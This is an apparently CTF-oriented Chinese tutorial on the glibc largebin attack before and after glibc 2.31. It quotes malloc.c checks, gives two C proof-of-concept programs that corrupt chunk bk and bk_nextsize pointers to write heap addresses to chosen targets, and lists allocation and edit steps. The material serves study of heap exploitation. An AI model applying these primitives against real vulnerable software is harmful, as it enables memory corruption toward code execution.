largebin attack高低版本的使用
字数 860 2025-08-22 12:22:24
Largebin Attack 高低版本利用详解
1. 概述
Largebin attack 是一种在 CTF 比赛中常用的堆利用技术,与 unsortedbin attack 不同,它能够向任意地址写入堆块地址而非 main_arena 地址。该技术在 glibc 2.31 版本前后有所差异。
2. 版本差异
- 2.31 之前:相对简单,较少使用,主要作为 unsortedbin attack 的替代品
- 2.31 之后:增加了安全检查,但仍可绕过
3. 2.31 之前的 Largebin Attack
3.1 原理
漏洞主要存在于以下代码段(glibc-2.29/malloc/malloc.c:3841):
victim_index = largebin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;
if (fwd != bck) {
size |= PREV_INUSE;
assert(chunk_main_arena(bck->bk));
if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk)) {
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
// ... 其他代码
}
关键利用点:
victim->bk_nextsize = fwd->fd->bk_nextsize;
victim->bk_nextsize->fd_nextsize = victim;
3.2 利用条件
- 两个 chunk 的 size 不能相等
- large bin 的 fd_nextsize 需要设置为 0
3.3 POC 分析
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main() {
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
// 分配堆块
unsigned long *p1 = malloc(0x420);
malloc(0x20); // 防止合并
unsigned long *p2 = malloc(0x500);
malloc(0x20); // 防止合并
unsigned long *p3 = malloc(0x500);
malloc(0x20); // 防止合并
// 释放堆块
free(p1);
free(p2);
// 触发 largebin 操作
malloc(0x90);
// 释放第三个大块
free(p3);
// 修改 p2 的元数据
p2[-1] = 0x3f1; // 修改 size
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2); // 修改 bk
p2[3] = (unsigned long)(&stack_var2 - 4); // 修改 bk_nextsize
// 触发攻击
malloc(0x90);
printf("stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
printf("stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
assert(stack_var1 != 0);
assert(stack_var2 != 0);
return 0;
}
3.4 攻击步骤总结
-
分配堆块:
add(0x420) #1 add(0x20) add(0x500) #2 add(0x20) add(0x500) #3 add(0x20) -
释放堆块:
free(1) free(2) -
触发 largebin 操作:
add(0x90) -
释放第三个大块:
free(3) -
修改堆块元数据:
edit(2) # 修改 size (<0x500), bk=目标地址-0x10, bk_nextsize=目标地址-0x20 -
触发攻击:
add(0x90)
4. 2.31 之后的 Largebin Attack
4.1 新增的安全检查
if (__glibc_unlikely(fwd->bk_nextsize->fd_nextsize != fwd)) {
malloc_printerr("malloc(): largebin double linked list corrupted (nextsize)");
}
if (bck->fd != fwd) {
malloc_printerr("malloc(): largebin double linked list corrupted (bk)");
}
4.2 绕过方法
通过精心构造堆布局,可以绕过这些检查。
4.3 POC 分析
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long target = 0;
// 分配堆块
unsigned long *p1 = malloc(0x428);
malloc(0x20); // 防止合并
unsigned long *p2 = malloc(0x418);
malloc(0x20); // 防止合并
// 释放并重新分配
free(p1);
malloc(0x438); // 比 p1 大
// 释放 p2
free(p2);
// 修改 p1 的 bk_nextsize
p1[3] = (unsigned long)(&target - 4);
// 触发攻击
malloc(0x438); // 比 p2 大
printf("target (%p): %p\n", &target, (void *)target);
return 0;
}
4.4 攻击步骤总结
-
分配堆块:
add(0x428) #1 add(0x20) add(0x418) #2 add(0x20) -
释放并重新分配:
free(1) add(0x438) #3 -
释放第二个大块:
free(2) # 此时1在largebin,2在unsortedbin -
修改堆块元数据:
edit(1) # 修改 bk_nextsize=目标地址-0x20 -
触发攻击:
add(0x438) # 大于2号堆块
5. 关键点总结
-
版本差异:
- 2.31 之前:检查较少,利用简单
- 2.31 之后:增加了双向链表完整性检查
-
写入目标:
- 可以同时写入两个地址(通过 bk 和 bk_nextsize)
- 写入的是堆地址而非 libc 地址
-
堆布局要点:
- 需要使用小堆块隔离大堆块防止合并
- 需要精确控制堆块大小关系
- 在 2.31 之后需要确保链表完整性不被破坏
-
应用场景:
- 修改敏感数据(如 global_max_fast)
- 为后续攻击做准备
- 绕过某些保护机制